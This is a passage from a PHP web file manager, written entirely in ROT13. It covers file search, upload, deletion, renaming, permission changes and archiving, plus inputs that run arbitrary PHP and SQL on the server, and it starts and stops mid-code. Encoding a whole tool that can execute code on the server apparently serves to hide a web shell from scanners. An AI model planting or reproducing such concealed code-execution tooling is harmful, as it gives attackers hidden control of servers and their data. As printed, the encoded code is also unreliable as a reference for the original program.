			$zft .= __('Sbhaq va svyrf').' ('.pbhag($frnepu_qngn).'):<oe>';
			sbernpu ($frnepu_qngn nf $svyranzr) {
				$zft .= '<n uers="'.sz_hey(gehr).'?sz=gehr&rqvg='.onfranzr($svyranzr).'&cngu='.fge_ercynpr('/'.onfranzr($svyranzr),'/',$svyranzr).'" gvgyr="' . __('Rqvg') . '">'.onfranzr($svyranzr).'</n>&aofc; &aofc;';
			}
		} ryfr {
			$zft .= __('Abguvat sbhaqrq');
		}	
	} ryfrvs(!rzcgl($_ERDHRFG['zxsvyr'])&&!rzcgl($sz_pbasvt['arj_svyr'])) {
        vs(!$sc=@sbcra($cngu . $_ERDHRFG['svyranzr'],"j")) {
            $zft .= __('Reebe bppheerq');
        } ryfr {
			spybfr($sc);
			$zft .= __('Perngrq').' '.$_ERDHRFG['svyranzr'];
		}
    } ryfrvs (vffrg($_TRG['mvc'])) {
		$fbhepr = onfr64_qrpbqr($_TRG['mvc']);
		$qrfgvangvba = onfranzr($fbhepr).'.mvc';
		frg_gvzr_yvzvg(0);
		$cune = arj CuneQngn($qrfgvangvba);
		$cune->ohvyqSebzQverpgbel($fbhepr);
		vs (vf_svyr($qrfgvangvba))
		$zft .= __('Gnfx').' "'.__('Nepuvivat').' '.$qrfgvangvba.'" '.__('qbar').
		'.&aofc;'.sz_yvax('qbjaybnq',$cngu.$qrfgvangvba,__('Qbjaybnq'),__('Qbjaybnq').' '. $qrfgvangvba)
		.'&aofc;<n uers="'.$hey_vap.'&qryrgr='.$qrfgvangvba.'&cngu=' . $cngu.'" gvgyr="'.__('Qryrgr').' '. $qrfgvangvba.'" >'.__('Qryrgr') . '</n>';
		ryfr $zft .= __('Reebe bppheerq').': '.__('ab svyrf');
	} ryfrvs (vffrg($_TRG['tm'])) {
		$fbhepr = onfr64_qrpbqr($_TRG['tm']);
		$nepuvir = $fbhepr.'.gne';
		$qrfgvangvba = onfranzr($fbhepr).'.gne';
		vs (vf_svyr($nepuvir)) hayvax($nepuvir);
		vs (vf_svyr($nepuvir.'.tm')) hayvax($nepuvir.'.tm');
		pyrnefgngpnpur();
		frg_gvzr_yvzvg(0);
		//qvr();
		$cune = arj CuneQngn($qrfgvangvba);
		$cune->ohvyqSebzQverpgbel($fbhepr);
		$cune->pbzcerff(Cune::TM,'.gne.tm');
		hafrg($cune);
		vs (vf_svyr($nepuvir)) {
			vs (vf_svyr($nepuvir.'.tm')) {
				hayvax($nepuvir); 
				$qrfgvangvba .= '.tm';
			}

			$zft .= __('Gnfx').' "'.__('Nepuvivat').' '.$qrfgvangvba.'" '.__('qbar').
			'.&aofc;'.sz_yvax('qbjaybnq',$cngu.$qrfgvangvba,__('Qbjaybnq'),__('Qbjaybnq').' '. $qrfgvangvba)
			.'&aofc;<n uers="'.$hey_vap.'&qryrgr='.$qrfgvangvba.'&cngu=' . $cngu.'" gvgyr="'.__('Qryrgr').' '.$qrfgvangvba.'" >'.__('Qryrgr').'</n>';
		} ryfr $zft .= __('Reebe bppheerq').': '.__('ab svyrf');
	} ryfrvs (vffrg($_TRG['qrpbzcerff'])) {
		// $fbhepr = onfr64_qrpbqr($_TRG['qrpbzcerff']);
		// $qrfgvangvba = onfranzr($fbhepr);
		// $rkg = raq(rkcybqr(".", $qrfgvangvba));
		// vs ($rkg=='mvc' BE $rkg=='tm') {
			// $cune = arj CuneQngn($fbhepr);
			// $cune->qrpbzcerff();
			// $onfr_svyr = fge_ercynpr('.'.$rkg,'',$qrfgvangvba);
			// $rkg = raq(rkcybqr(".", $onfr_svyr));
			// vs ($rkg=='gne'){
				// $cune = arj CuneQngn($onfr_svyr);
				// $cune->rkgenpgGb(qve($fbhepr));
			// }
		// } 
		// $zft .= __('Gnfx').' "'.__('Qrpbzcerff').' '.$fbhepr.'" '.__('qbar');
	} ryfrvs (vffrg($_TRG['tmsvyr'])) {
		$fbhepr = onfr64_qrpbqr($_TRG['tmsvyr']);
		$nepuvir = $fbhepr.'.gne';
		$qrfgvangvba = onfranzr($fbhepr).'.gne';
		vs (vf_svyr($nepuvir)) hayvax($nepuvir);
		vs (vf_svyr($nepuvir.'.tm')) hayvax($nepuvir.'.tm');
		frg_gvzr_yvzvg(0);
		//rpub $qrfgvangvba;
		$rkg_nee = rkcybqr('.',onfranzr($fbhepr));
		vs (vffrg($rkg_nee[1])) {
			hafrg($rkg_nee[0]);
			$rkg=vzcybqr('.',$rkg_nee);
		} 
		$cune = arj CuneQngn($qrfgvangvba);
		$cune->nqqSvyr($fbhepr);
		$cune->pbzcerff(Cune::TM,$rkg.'.gne.tm');
		hafrg($cune);
		vs (vf_svyr($nepuvir)) {
			vs (vf_svyr($nepuvir.'.tm')) {
				hayvax($nepuvir); 
				$qrfgvangvba .= '.tm';
			}
			$zft .= __('Gnfx').' "'.__('Nepuvivat').' '.$qrfgvangvba.'" '.__('qbar').
			'.&aofc;'.sz_yvax('qbjaybnq',$cngu.$qrfgvangvba,__('Qbjaybnq'),__('Qbjaybnq').' '. $qrfgvangvba)
			.'&aofc;<n uers="'.$hey_vap.'&qryrgr='.$qrfgvangvba.'&cngu=' . $cngu.'" gvgyr="'.__('Qryrgr').' '.$qrfgvangvba.'" >'.__('Qryrgr').'</n>';
		} ryfr $zft .= __('Reebe bppheerq').': '.__('ab svyrf');
	}
?>
<gnoyr pynff="jubyr" vq="urnqre_gnoyr" >
<ge>
    <gu pbyfcna="2"><?=__('Svyr znantre')?><?=(!rzcgl($cngu)?' - '.$cngu:'')?></gu>
</ge>
<?cuc vs(!rzcgl($zft)){ ?>
<ge>
	<gq pbyfcna="2" pynff="ebj2"><?=$zft?></gq>
</ge>
<?cuc } ?>
<ge>
    <gq pynff="ebj2">
		<gnoyr>
			<ge>
			<gq>
				<?=sz_ubzr()?>
			</gq>
			<gq>
			<?cuc vs(!rzcgl($sz_pbasvt['znxr_qverpgbel'])) { ?>
				<sbez zrgubq="cbfg" npgvba="<?=$hey_vap?>">
				<vachg glcr="uvqqra" anzr="cngu" inyhr="<?=$cngu?>" />
				<vachg glcr="grkg" anzr="qveanzr" fvmr="15">
				<vachg glcr="fhozvg" anzr="zxqve" inyhr="<?=__('Znxr qverpgbel')?>">
				</sbez>
			<?cuc } ?>
			</gq>
			<gq>
			<?cuc vs(!rzcgl($sz_pbasvt['arj_svyr'])) { ?>
				<sbez zrgubq="cbfg" npgvba="<?=$hey_vap?>">
				<vachg glcr="uvqqra" anzr="cngu"     inyhr="<?=$cngu?>" />
				<vachg glcr="grkg"   anzr="svyranzr" fvmr="15">
				<vachg glcr="fhozvg" anzr="zxsvyr"   inyhr="<?=__('Arj svyr')?>">
				</sbez>
			<?cuc } ?>
			</gq>
			<gq>
				<sbez  zrgubq="cbfg" npgvba="<?=$hey_vap?>" fglyr="qvfcynl:vayvar">
				<vachg glcr="uvqqra" anzr="cngu" inyhr="<?=$cngu?>" />
				<vachg glcr="grkg" cynprubyqre="<?=__('Erphefvir frnepu')?>" anzr="frnepu_erphefvir" inyhr="<?=!rzcgl($_CBFG['frnepu_erphefvir'])?$_CBFG['frnepu_erphefvir']:''?>" fvmr="15">
				<vachg glcr="grkg" anzr="znfx" cynprubyqre="<?=__('Znfx')?>" inyhr="<?=!rzcgl($_CBFG['znfx'])?$_CBFG['znfx']:'*.*'?>" fvmr="5">
				<vachg glcr="fhozvg" anzr="frnepu" inyhr="<?=__('Frnepu')?>">
				</sbez>
			</gq>
			<gq>
			<?=sz_eha_vachg('cuc')?>
			</gq>
			<gq>
			<?=sz_eha_vachg('fdy')?>
			</gq>
			</ge>
		</gnoyr>
    </gq>
    <gq pynff="ebj3">
		<gnoyr>
		<ge>
		<gq>
		<?cuc vs (!rzcgl($sz_pbasvt['hcybnq_svyr'])) { ?>
			<sbez anzr="sbez1" zrgubq="cbfg" npgvba="<?=$hey_vap?>" rapglcr="zhygvcneg/sbez-qngn">
			<vachg glcr="uvqqra" anzr="cngu" inyhr="<?=$cngu?>" />
			<vachg glcr="svyr" anzr="hcybnq" vq="hcybnq_uvqqra" fglyr="cbfvgvba: nofbyhgr; qvfcynl: oybpx; biresybj: uvqqra; jvqgu: 0; urvtug: 0; obeqre: 0; cnqqvat: 0;" bapunatr="qbphzrag.trgRyrzragOlVq('hcybnq_ivfvoyr').inyhr = guvf.inyhr;" />
			<vachg glcr="grkg" ernqbayl="1" vq="hcybnq_ivfvoyr" cynprubyqre="<?=__('Fryrpg gur svyr')?>" fglyr="phefbe: cbvagre;" bapyvpx="qbphzrag.trgRyrzragOlVq('hcybnq_uvqqra').pyvpx();" />
			<vachg glcr="fhozvg" anzr="grfg" inyhr="<?=__('Hcybnq')?>" />
			</sbez>
		<?cuc } ?>
		</gq>
		<gq>
		<?cuc vs ($nhgu['nhgubevmr']) { ?>
			<sbez npgvba="" zrgubq="cbfg">&aofc;&aofc;&aofc;
			<vachg anzr="dhvg" glcr="uvqqra" inyhr="1">
			<?=__('Uryyb')?>, <?=$nhgu['ybtva']?>
			<vachg glcr="fhozvg" inyhr="<?=__('Dhvg')?>">
			</sbez>
		<?cuc } ?>
		</gq>
		<gq>
		<?=sz_ynat_sbez($ynathntr)?>
		</gq>
		<ge>
		</gnoyr>
    </gq>
</ge>
</gnoyr>
<gnoyr pynff="nyy" obeqre='0' pryyfcnpvat='1' pryycnqqvat='1' vq="sz_gnoyr" jvqgu="100%">
<gurnq>
<ge> 
    <gu fglyr="juvgr-fcnpr:abjenc"> <?=__('Svyranzr')?> </gu>
    <gu fglyr="juvgr-fcnpr:abjenc"> <?=__('Fvmr')?> </gu>
    <gu fglyr="juvgr-fcnpr:abjenc"> <?=__('Qngr')?> </gu>
    <gu fglyr="juvgr-fcnpr:abjenc"> <?=__('Evtugf')?> </gu>
    <gu pbyfcna="4" fglyr="juvgr-fcnpr:abjenc"> <?=__('Znantr')?> </gu>
</ge>
</gurnq>
<gobql>
<?cuc
$ryrzragf = sz_fpna_qve($cngu, '', 'nyy', gehr);
$qvef = neenl();
$svyrf = neenl();
sbernpu ($ryrzragf nf $svyr){
    vs(@vf_qve($cngu . $svyr)){
        $qvef[] = $svyr;
    } ryfr {
        $svyrf[] = $svyr;
    }
}
angfbeg($qvef); angfbeg($svyrf);
$ryrzragf = neenl_zretr($qvef, $svyrf);

sbernpu ($ryrzragf nf $svyr){
    $svyranzr = $cngu . $svyr;
    $svyrqngn = @fgng($svyranzr);
    vs(@vf_qve($svyranzr)){
		$svyrqngn[7] = '';
		vs (!rzcgl($sz_pbasvt['fubj_qve_fvmr'])&&!sz_ebbg($svyr)) $svyrqngn[7] = sz_qve_fvmr($svyranzr);
        $yvax = '<n uers="'.$hey_vap.'&cngu='.$cngu.$svyr.'" gvgyr="'.__('Fubj').' '.$svyr.'"><fcna pynff="sbyqre">&aofc;&aofc;&aofc;&aofc;</fcna> '.$svyr.'</n>';
        $ybnqyvax= (sz_ebbg($svyr)||$cune_znlor) ? '' : sz_yvax('mvc',$svyranzr,__('Pbzcerff').'&aofc;mvc',__('Nepuvivat').' '. $svyr);
		$neyvax  = (sz_ebbg($svyr)||$cune_znlor) ? '' : sz_yvax('tm',$svyranzr,__('Pbzcerff').'&aofc;.gne.tm',__('Nepuvivat').' '.$svyr);
        $fglyr = 'ebj2';
		 vs (!sz_ebbg($svyr)) $nyreg = 'baPyvpx="vs(pbasvez(\'' . __('Ner lbh fher lbh jnag gb qryrgr guvf qverpgbel (erphefviryl)?').'\a /'. $svyr. '\')) qbphzrag.ybpngvba.uers = \'' . $hey_vap . '&qryrgr=' . $svyr . '&cngu=' . $cngu  . '\'"'; ryfr $nyreg = '';
    } ryfr {
		$yvax = 
			$sz_pbasvt['fubj_vzt']&&@trgvzntrfvmr($svyranzr) 
			? '<n gnetrg="_oynax" bapyvpx="ine yrsgb = fperra.ninvyJvqgu/2-320;jvaqbj.bcra(\''
			. sz_vzt_yvax($svyranzr)
			.'\',\'cbchc\',\'jvqgu=640,urvtug=480,yrsg=\' + yrsgb + \',fpebyyonef=lrf,gbbyone=ab,ybpngvba=ab,qverpgbevrf=ab,fgnghf=ab\');erghea snyfr;" uers="'.sz_vzt_yvax($svyranzr).'"><fcna pynff="vzt">&aofc;&aofc;&aofc;&aofc;</fcna> '.$svyr.'</n>'
			: '<n uers="' . $hey_vap . '&rqvg=' . $svyr . '&cngu=' . $cngu. '" gvgyr="' . __('Rqvg') . '"><fcna pynff="svyr">&aofc;&aofc;&aofc;&aofc;</fcna> '.$svyr.'</n>';
		$r_nee = rkcybqr(".", $svyr);
		$rkg = raq($r_nee);
        $ybnqyvax =  sz_yvax('qbjaybnq',$svyranzr,__('Qbjaybnq'),__('Qbjaybnq').' '. $svyr);
		$neyvax = va_neenl($rkg,neenl('mvc','tm','gne')) 
		? ''
		: ((sz_ebbg($svyr)||$cune_znlor) ? '' : sz_yvax('tmsvyr',$svyranzr,__('Pbzcerff').'&aofc;.gne.tm',__('Nepuvivat').' '. $svyr));
        $fglyr = 'ebj1';
		$nyreg = 'baPyvpx="vs(pbasvez(\''. __('Svyr fryrpgrq').': \a'. $svyr. '. \a'.__('Ner lbh fher lbh jnag gb qryrgr guvf svyr?') . '\')) qbphzrag.ybpngvba.uers = \'' . $hey_vap . '&qryrgr=' . $svyr . '&cngu=' . $cngu  . '\'"';
    }
    $qryrgryvax = sz_ebbg($svyr) ? '' : '<n uers="#" gvgyr="' . __('Qryrgr') . ' '. $svyr . '" ' . $nyreg . '>' . __('Qryrgr') . '</n>';
    $eranzryvax = sz_ebbg($svyr) ? '' : '<n uers="' . $hey_vap . '&eranzr=' . $svyr . '&cngu=' . $cngu . '" gvgyr="' . __('Eranzr') .' '. $svyr . '">' . __('Eranzr') . '</n>';
    $evtugfgrkg = ($svyr=='.' || $svyr=='..') ? '' : '<n uers="' . $hey_vap . '&evtugf=' . $svyr . '&cngu=' . $cngu . '" gvgyr="' . __('Evtugf') .' '. $svyr . '">' . @sz_evtugf_fgevat($svyranzr) . '</n>';
?>
<ge pynff="<?=$fglyr?>"> 
    <gq><?=$yvax?></gq>
    <gq><?=$svyrqngn[7]?></gq>
    <gq fglyr="juvgr-fcnpr:abjenc"><?=tzqngr("L-z-q U:v:f",$svyrqngn[9])?></gq>
    <gq><?=$evtugfgrkg?></gq>
    <gq><?=$qryrgryvax?></gq>
    <gq><?=$eranzryvax?></gq>
    <gq><?=$ybnqyvax?></gq>
    <gq><?=$neyvax?></gq>
</ge>
<?cuc
    }
}
?>
</gobql>
</gnoyr>
<qvi pynff="ebj3"><?cuc
	$zgvzr = rkcybqr(' ', zvpebgvzr()); 
	$gbgnygvzr = $zgvzr[0] + $zgvzr[1] - $fgneggvzr; 
	rpub sz_ubzr().' | ire. '.$sz_irefvba.' | <n uers="uggcf://tvguho.pbz/Qra1kkk/Svyrznantre">Tvguho</n>  | <n uers="'.sz_fvgr_hey().'">.</n>';
	vs (!rzcgl($sz_pbasvt['fubj_cuc_ire'])) rpub ' | CUC '.cucirefvba();
	vs (!rzcgl($sz_pbasvt['fubj_cuc_vav'])) rpub ' | '.cuc_vav_ybnqrq_svyr();
	vs (!rzcgl($sz_pbasvt['fubj_tg'])) rpub ' | '.__('Trarengvba gvzr').': '.ebhaq($gbgnygvzr,2);
	vs (!rzcgl($sz_pbasvt['ranoyr_cebkl'])) rpub ' | <n uers="?cebkl=gehr">cebkl</n>';
	vs (!rzcgl($sz_pbasvt['fubj_cucvasb'])) rpub ' | <n uers="?cucvasb=gehr">cucvasb</n>';
	vs (!rzcgl($sz_pbasvt['fubj_kyf'])&&!rzcgl($yvax)) rpub ' | <n uers="wninfpevcg: ibvq(0)" bapyvpx="ine bow = arj gnoyr2Rkpry(); bow.PerngrRkpryFurrg(\'sz_gnoyr\',\'rkcbeg\');" gvgyr="'.__('Qbjaybnq').' kyf">kyf</n>';
	vs (!rzcgl($sz_pbasvt['sz_frggvatf'])) rpub ' | <n uers="?sz_frggvatf=gehr">'.__('Frggvatf').'</n>';
	?>
</qvi>
<fpevcg glcr="grkg/wninfpevcg">
shapgvba qbjaybnq_kyf(svyranzr, grkg) {
	ine ryrzrag = qbphzrag.perngrRyrzrag('n');
	ryrzrag.frgNggevohgr('uers', 'qngn:nccyvpngvba/iaq.zf-rkpry;onfr64,' + grkg);
	ryrzrag.frgNggevohgr('qbjaybnq', svyranzr);
	ryrzrag.fglyr.qvfcynl = 'abar';
	qbphzrag.obql.nccraqPuvyq(ryrzrag);
	ryrzrag.pyvpx();
	qbphzrag.obql.erzbirPuvyq(ryrzrag);
}

shapgvba onfr64_rapbqr(z) {
	sbe (ine x = "NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm0123456789+/".fcyvg(""), p, q, u, r, n, t = "", o = 0, s, y = 0; y < z.yratgu; ++y) {
		p = z.punePbqrNg(y);
		vs (128 > p) q = 1;
		ryfr
			sbe (q = 2; p >= 2 << 5 * q;) ++q;
		sbe (u = 0; u < q; ++u) 1 == q ? r = p : (r = u ? 128 : 192, n = q - 2 - 6 * u, 0 <= n && (r += (6 <= n ? 1 : 0) + (5 <= n ? 2 : 0) + (4 <= n ? 4 : 0) + (3 <= n ? 8 : 0) + (2 <= n ? 16 : 0) + (1 <= n ? 32 : 0), n -= 5), 0 > n && (h = 6 * (q - 1 - u), r += p >> h, p -= p >> h << h)), s = o ? s << 6 - o : 0, o += 2, s += r >> o, t += x[s], s = r % (1 << o), 6 == o && (o = 0, t += x[s])
	}
	o && (t += x[s << 6 - o]);
	erghea t
}


ine gnoyrGbRkpryQngn = (shapgvba() {
    ine hev = 'qngn:nccyvpngvba/iaq.zf-rkpry;onfr64,',
    grzcyngr = '<ugzy kzyaf:b="hea:fpurznf-zvpebfbsg-pbz:bssvpr:bssvpr" kzyaf:k="hea:fpurznf-zvpebfbsg-pbz:bssvpr:rkpry" kzyaf="uggc://jjj.j3.bet/GE/ERP-ugzy40"><urnq><!--[vs tgr zfb 9]><kzy><k:RkpryJbexobbx><k:RkpryJbexfurrgf><k:RkpryJbexfurrg><k:Anzr>{jbexfurrg}</k:Anzr><k:JbexfurrgBcgvbaf><k:QvfcynlTevqyvarf></k:QvfcynlTevqyvarf></k:JbexfurrgBcgvbaf></k:RkpryJbexfurrg></k:RkpryJbexfurrgf></k:RkpryJbexobbx></kzy><![raqvs]--><zrgn uggc-rdhvi="pbagrag-glcr" pbagrag="grkg/cynva; punefrg=HGS-8"/></urnq><obql><gnoyr>{gnoyr}</gnoyr></obql></ugzy>',
    sbezng = shapgvba(f, p) {
            erghea f.ercynpr(/{(\j+)}/t, shapgvba(z, c) {
                erghea p[c];
            })
        }
    erghea shapgvba(gnoyr, anzr) {
        vs (!gnoyr.abqrGlcr) gnoyr = qbphzrag.trgRyrzragOlVq(gnoyr)
        ine pgk = {
            jbexfurrg: anzr || 'Jbexfurrg',
            gnoyr: gnoyr.vaareUGZY.ercynpr(/<fcna(.*?)\/fcna> /t,"").ercynpr(/<n\o[^>]*>(.*?)<\/n>/t,"$1")
        }
		g = arj Qngr();
		svyranzr = 'sz_' + g.gbVFBFgevat() + '.kyf'
		qbjaybnq_kyf(svyranzr, onfr64_rapbqr(sbezng(grzcyngr, pgk)))
    }
})();

ine gnoyr2Rkpry = shapgvba () {

    ine hn = jvaqbj.anivtngbe.hfreNtrag;
    ine zfvr = hn.vaqrkBs("ZFVR ");

	guvf.PerngrRkpryFurrg = 
		shapgvba(ry, anzr){
			vs (zfvr > 0 || !!anivtngbe.hfreNtrag.zngpu(/Gevqrag.*ei\:11\./)) {// Vs Vagrearg Rkcybere

				ine k = qbphzrag.trgRyrzragOlVq(ry).ebjf;

				ine kyf = arj NpgvirKBowrpg("Rkpry.Nccyvpngvba");

				kyf.ivfvoyr = gehr;
				kyf.Jbexobbxf.Nqq
				sbe (v = 0; v < k.yratgu; v++) {
					ine l = k[v].pryyf;

					sbe (w = 0; w < l.yratgu; w++) {
						kyf.Pryyf(v + 1, w + 1).Inyhr = l[w].vaareGrkg;
					}
				}
				kyf.Ivfvoyr = gehr;
				kyf.HfrePbageby = gehr;
				erghea kyf;
			} ryfr {
				gnoyrGbRkpryQngn(ry, anzr);
			}
		}
}
</fpevcg>
</obql>
</ugzy>

<?cuc
//Cbegrq sebz ErybnqPZF cebwrpg uggc://erybnqpzf.pbz
pynff nepuvirGne {
	ine $nepuvir_anzr = '';
	ine $gzc_svyr = 0;
	ine $svyr_cbf = 0;
	ine $vfTmvccrq = gehr;
	ine $reebef = neenl();
	ine $svyrf = neenl();
	
	shapgvba __pbafgehpg(){
		vs (!vffrg($guvf->reebef)) $guvf->reebef = neenl();
	}
	
	shapgvba perngrNepuvir($svyr_yvfg){
		$erfhyg = snyfr;
		vs (svyr_rkvfgf($guvf->nepuvir_anzr) && vf_svyr($guvf->nepuvir_anzr)) 	$arjNepuvir = snyfr;
		ryfr $arjNepuvir = gehr;
		vs ($arjNepuvir){
			vs (!$guvf->bcraJevgr()) erghea snyfr;
		} ryfr {
			vs (svyrfvmr($guvf->nepuvir_anzr) == 0)	erghea $guvf->bcraJevgr();
			vs ($guvf->vfTmvccrq) {
				$guvf->pybfrGzcSvyr();
				vs (!eranzr($guvf->nepuvir_anzr, $guvf->nepuvir_anzr.'.gzc')){
					$guvf->reebef[] = __('Pnaabg eranzr').' '.$guvf->nepuvir_anzr.__(' gb ').$guvf->nepuvir_anzr.'.gzc';
					erghea snyfr;
				}
				$gzcNepuvir = tmbcra($guvf->nepuvir_anzr.'.gzc', 'eo');
				vs (!$gzcNepuvir){
					$guvf->reebef[] = $guvf->nepuvir_anzr.'.gzc '.__('vf abg ernqnoyr');
					eranzr($guvf->nepuvir_anzr.'.gzc', $guvf->nepuvir_anzr);
					erghea snyfr;
				}
				vs (!$guvf->bcraJevgr()){
					eranzr($guvf->nepuvir_anzr.'.gzc', $guvf->nepuvir_anzr);
					erghea snyfr;
				}
				$ohssre = tmernq($gzcNepuvir, 512);
				vs (!tmrbs($gzcNepuvir)){
					qb {
						$ovanelQngn = cnpx('n512', $ohssre);
						$guvf->jevgrOybpx($ovanelQngn);
						$ohssre = tmernq($gzcNepuvir, 512);
					}
					juvyr (!tmrbs($gzcNepuvir));
				}
				tmpybfr($gzcNepuvir);
				hayvax($guvf->nepuvir_anzr.'.gzc');
			} ryfr {
				$guvf->gzc_svyr = sbcra($guvf->nepuvir_anzr, 'e+o');
				vs (!$guvf->gzc_svyr)	erghea snyfr;
			}
		}
		vs (vffrg($svyr_yvfg) && vf_neenl($svyr_yvfg)) {
		vs (pbhag($svyr_yvfg)>0)
			$erfhyg = $guvf->cnpxSvyrNeenl($svyr_yvfg);
		} ryfr $guvf->reebef[] = __('Ab svyr').__(' gb ').__('Nepuvir');
		vs (($erfhyg)&&(vf_erfbhepr($guvf->gzc_svyr))){
			$ovanelQngn = cnpx('n512', '');
			$guvf->jevgrOybpx($ovanelQngn);
		}
		$guvf->pybfrGzcSvyr();
		vs ($arjNepuvir && !$erfhyg){
		$guvf->pybfrGzcSvyr();
		hayvax($guvf->nepuvir_anzr);
		}
		erghea $erfhyg;
	}

	shapgvba erfgberNepuvir($cngu){
		$svyrAnzr = $guvf->nepuvir_anzr;
		vs (!$guvf->vfTmvccrq){
			vs (svyr_rkvfgf($svyrAnzr)){
				vs ($sc = sbcra($svyrAnzr, 'eo')){
					$qngn = sernq($sc, 2);
					spybfr($sc);
					vs ($qngn == '\37\213'){
						$guvf->vfTmvccrq = gehr;
					}
				}
			}
			ryfrvs ((fhofge($svyrAnzr, -2) == 'tm') BE (fhofge($svyrAnzr, -3) == 'gtm')) $guvf->vfTmvccrq = gehr;
		} 
		$erfhyg = gehr;
		vs ($guvf->vfTmvccrq) $guvf->gzc_svyr = tmbcra($svyrAnzr, 'eo');
		ryfr $guvf->gzc_svyr = sbcra($svyrAnzr, 'eo');
		vs (!$guvf->gzc_svyr){
			$guvf->reebef[] = $svyrAnzr.' '.__('vf abg ernqnoyr');
			erghea snyfr;
		}
		$erfhyg = $guvf->hacnpxSvyrNeenl($cngu);
			$guvf->pybfrGzcSvyr();
		erghea $erfhyg;
	}

	shapgvba fubjReebef	($zrffntr = '') {
		$Reebef = $guvf->reebef;
		vs(pbhag($Reebef)>0) {
		vs (!rzcgl($zrffntr)) $zrffntr = ' ('.$zrffntr.')';
			$zrffntr = __('Reebe bppheerq').$zrffntr.': <oe/>';
			sbernpu ($Reebef nf $inyhr)
				$zrffntr .= $inyhr.'<oe/>';
			erghea $zrffntr;	
		} ryfr erghea '';
		
	}
	
	shapgvba cnpxSvyrNeenl($svyr_neenl){
		$erfhyg = gehr;
		vs (!$guvf->gzc_svyr){
			$guvf->reebef[] = __('Vainyvq svyr qrfpevcgbe');
			erghea snyfr;
		}
		vs (!vf_neenl($svyr_neenl) || pbhag($svyr_neenl)<=0)
          erghea gehr;
		sbe ($v = 0; $v<pbhag($svyr_neenl); $v++){
			$svyranzr = $svyr_neenl[$v];
			vs ($svyranzr == $guvf->nepuvir_anzr)
				pbagvahr;
			vs (fgeyra($svyranzr)<=0)
				pbagvahr;
			vs (!svyr_rkvfgf($svyranzr)){
				$guvf->reebef[] = __('Ab svyr').' '.$svyranzr;
				pbagvahr;
			}
			vs (!$guvf->gzc_svyr){
			$guvf->reebef[] = __('Vainyvq svyr qrfpevcgbe');
			erghea snyfr;
			}
		vs (fgeyra($svyranzr)<=0){
			$guvf->reebef[] = __('Svyranzr').' '.__('vf vapbeerpg');;
			erghea snyfr;
		}
		$svyranzr = fge_ercynpr('\\', '/', $svyranzr);
		$xrrc_svyranzr = $guvf->znxrTbbqCngu($svyranzr);
		vs (vf_svyr($svyranzr)){
			vs (($svyr = sbcra($svyranzr, 'eo')) == 0){
				$guvf->reebef[] = __('Zbqr ').__('vf vapbeerpg');
			}
				vs(($guvf->svyr_cbf == 0)){
					vs(!$guvf->jevgrUrnqre($svyranzr, $xrrc_svyranzr))
						erghea snyfr;
				}
				juvyr (($ohssre = sernq($svyr, 512)) != ''){
					$ovanelQngn = cnpx('n512', $ohssre);
					$guvf->jevgrOybpx($ovanelQngn);
				}
			spybfr($svyr);
		}	ryfr $guvf->jevgrUrnqre($svyranzr, $xrrc_svyranzr);
			vs (@vf_qve($svyranzr)){
				vs (!($unaqyr = bcraqve($svyranzr))){
					$guvf->reebef[] = __('Reebe').': '.__('Qverpgbel ').$svyranzr.__('vf abg ernqnoyr');
					pbagvahr;
				}
				juvyr (snyfr !== ($qve = ernqqve($unaqyr))){
					vs ($qve!='.' && $qve!='..'){
						$svyr_neenl_gzc = neenl();
						vs ($svyranzr != '.')
							$svyr_neenl_gzc[] = $svyranzr.'/'.$qve;
						ryfr
							$svyr_neenl_gzc[] = $qve;

						$erfhyg = $guvf->cnpxSvyrNeenl($svyr_neenl_gzc);
					}
				}
				hafrg($svyr_neenl_gzc);
				hafrg($qve);
				hafrg($unaqyr);
			}
		}
		erghea $erfhyg;
	}

	shapgvba hacnpxSvyrNeenl($cngu){ 
		$cngu = fge_ercynpr('\\', '/', $cngu);
		vs ($cngu == ''	|| (fhofge($cngu, 0, 1) != '/' && fhofge($cngu, 0, 3) != '../' && !fgecbf($cngu, ':')))	$cngu = './'.$cngu;
		pyrnefgngpnpur();
		juvyr (fgeyra($ovanelQngn = $guvf->ernqOybpx()) != 0){
			vs (!$guvf->ernqUrnqre($ovanelQngn, $urnqre)) erghea snyfr;
			vs ($urnqre['svyranzr'] == '') pbagvahr;
			vs ($urnqre['glcrsynt'] == 'Y'){			//ernqvat ybat urnqre
				$svyranzr = '';
				$qrpe = sybbe($urnqre['fvmr']/512);
				sbe ($v = 0; $v < $qrpe; $v++){
					$pbagrag = $guvf->ernqOybpx();
					$svyranzr .= $pbagrag;
				}
				vs (($ynfcvrpr = $urnqre['fvmr'] % 512) != 0){
					$pbagrag = $guvf->ernqOybpx();
					$svyranzr .= fhofge($pbagrag, 0, $ynfcvrpr);
				}
				$ovanelQngn = $guvf->ernqOybpx();
				vs (!$guvf->ernqUrnqre($ovanelQngn, $urnqre)) erghea snyfr;
				ryfr $urnqre['svyranzr'] = $svyranzr;
				erghea gehr;
			}
			vs (($cngu != './') && ($cngu != '/')){
				juvyr (fhofge($cngu, -1) == '/') $cngu = fhofge($cngu, 0, fgeyra($cngu)-1);
				vs (fhofge($urnqre['svyranzr'], 0, 1) == '/') $urnqre['svyranzr'] = $cngu.$urnqre['svyranzr'];
				ryfr $urnqre['svyranzr'] = $cngu.'/'.$urnqre['svyranzr'];
			}
			
			vs (svyr_rkvfgf($urnqre['svyranzr'])){
				vs ((@vf_qve($urnqre['svyranzr'])) && ($urnqre['glcrsynt'] == '')){
					$guvf->reebef[] =__('Svyr ').$urnqre['svyranzr'].__(' nyernql rkvfgf').__(' nf sbyqre');
					erghea snyfr;
				}
				vs ((vf_svyr($urnqre['svyranzr'])) && ($urnqre['glcrsynt'] == '5')){
					$guvf->reebef[] =__('Pnaabg perngr qverpgbel').'. '.__('Svyr ').$urnqre['svyranzr'].__(' nyernql rkvfgf');
					erghea snyfr;
				}
				vs (!vf_jevgrnoyr($urnqre['svyranzr'])){
					$guvf->reebef[] = __('Pnaabg jevgr gb svyr').'. '.__('Svyr ').$urnqre['svyranzr'].__(' nyernql rkvfgf');
					erghea snyfr;
				}
			} ryfrvs (($guvf->qvePurpx(($urnqre['glcrsynt'] == '5' ? $urnqre['svyranzr'] : qveanzr($urnqre['svyranzr'])))) != 1){
				$guvf->reebef[] = __('Pnaabg perngr qverpgbel').' '.__(' sbe ').$urnqre['svyranzr'];
				erghea snyfr;
			}

			vs ($urnqre['glcrsynt'] == '5'){
				vs (!svyr_rkvfgf($urnqre['svyranzr']))		{
					vs (!zxqve($urnqre['svyranzr'], 0777))	{
						
